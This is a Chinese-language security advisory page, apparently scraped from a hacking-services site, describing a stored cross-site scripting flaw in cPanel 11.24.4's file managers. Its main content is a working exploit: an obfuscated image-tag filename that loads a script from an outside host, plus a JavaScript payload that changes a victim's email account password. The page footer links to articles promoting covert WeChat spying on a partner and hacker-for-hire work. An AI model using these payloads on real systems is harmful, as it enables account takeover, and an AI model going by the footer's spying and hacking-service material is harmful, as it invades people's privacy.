cPanel文件管理器文件名HTML注入漏洞

访客3年前关于黑客接单1282

影响版本:
cPanel 11.24.4-CURRENT
漏洞描述:
BUGTRAQ  ID: 34142

cPanel是基于web的工具,用于自动化控制网站和服务器。

Cpanel内嵌有两个文件管理器,分别为标准和旧式文件管理器。这两个文件管理器在处理文件名时存在跨站脚本漏洞,远程攻击者可以通过创建特制的文件名注入并执行脚本。

对于旧式文件管理器,只要查看了文件列表就可以执行攻击者的代码;对于标准文件管理器,文件列表经过转义,但如果用户对恶意文件执行了删除、拷贝、移动、重新命名等任务的话,仍可能执行注入的脚本。

由于文件名中禁用斜线字符,因此攻击者无法直接使用<script>标签加载脚本。为了摆脱这个限制,攻击者可以通过<img>标签onError属性注入脚本并将src属性设置为空字符串来强制触发出错事件。通过<img>标签注入的脚本生成<script>标签,使用document.write()函数执行外部脚本。 <*参考 
Rizki Wicaksono (rizki.wicaksono@gmail.com)
http://marc.info/?l=bugtraq&m=123730614528241&w=2.
*>
SEBUG安全建议:
厂商补丁:

cPanel
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.cpanel.net.
测试 *** :
[www.sebug.net]
本站提供程序( *** )可能带有攻击性,仅供安全研究与教学之用,风险自负!
恶意文件名:

<img src=\'\' onerror=\'document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99, 111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))\'>

该<img>生成以下html标签,以导致浏览器加载并执行外部脚本:

<script src=http://ilmuhacking.com/x.js></script>

PoC负载:

----------------
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
    http_request.overrideMimeType(\'text/html\');
}
} else if (window.ActiveXObject) { // IE
try {
    http_request = new ActiveXObject(\"Msxml2.XMLHTTP\");
} catch (e) {
    try {
       http_request = new ActiveXObject(\"Microsoft.XMLHTTP\");
    } catch (e) {}
}
}
if (!http_request) {
alert(\'Cannot create XMLHTTP instance\');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open(\'POST\', url, true);
http_request.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");
http_request.setRequestHeader(\"Content-length\", parameters.length);
http_request.setRequestHeader(\"Connection\", \"close\");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
    result = http_request.responseText;
    alert(result);
} else {
    alert(\'There was a problem with the request.\');
}
}
}
var poststr = \"quota=\" + encodeURI(\"250\") + \"&password2=\" + encodeURI(\"newpassword\") \\
                +
        \"&password=\" + encodeURI(\"newpassword\") + \"&email=\" + encodeURI(\"testemail\") +
        \"&domain=\" + encodeURI(\"ilmuhacking.com\");
makePOSTRequest(\'/frontend/x3/mail/dopasswdpop.html\', poststr);

 

标签: 好话题

相关文章

中国最大黑客培训网站被摧毁 3名主犯被捕_赌客

 重庆日报2月8日报道 湖北媒体7日报道称,该省公安部门摧毁了一个国内规模最大黑客培训网站———“黑鹰安全网”,主要犯罪嫌疑人李某、张某已被依法逮捕。   去年4月,湖北省黄冈与麻城公安局网络安...

怎么偷偷监控对方微信记录(同步偷偷接收别人微信)_同步偷偷接收别人微信

如何秘密监视对方的微信记录(同步秘密接收其他微信)夫妻吵架需要把握冷战时期,冷战时期的感情会消退,感情脆弱也意味着分手;同步偷偷接收别人微信这是一场严重的战斗吗?你能解决吗?今天,华珍编辑和你讨论了如...

qq如何查看密码

如何我的密码改了 怎么才能查到我上次使用的密码是什么 很荣幸能够回答你的问题!!希望对你有帮助! 楼主你好,去这里用密码保护找回QQ密码,密码保护忘记了,只能去申诉,使用我写的方法肯定申诉成功...

个人信息调查公司 私人调查公司

墟市褂讪了,砍仓了又奈何了,本质上这种人的行为模式某种程度上依旧相对的成熟寂然了,大多数人的行动我们特变电工股吧是展望不了的,所有人半晌儿云云,一忽儿那样,卒然冒出什么目标来,真不太清楚。比方叙这个同...

想知道怎么和老公微信同步_怎么和老公微信同步是什么意思吗?

随着微信的不断更新换代,使用微信的人越来越多,范围越来越广,无论是老人和孩子都可以使用微信,而且它的软件非常多。使用起来非常的简单、快捷,为人们的生活带来了很大的便利,当然了,也有不少的用户想知道怎么...

先做事后收款黑客团队业务(黑客先办事后付款的账号)_先做事后收款黑客团队业务

先做事后收款黑客团队业务(黑客先办事后付款的账号),中国队在世界顶级黑客大赛中夺冠的消息传遍全网。这并不是中国第一次在这样一场针对黑客的顶级比赛中获取如此成功。早在2015年Pwn2Own2015,中...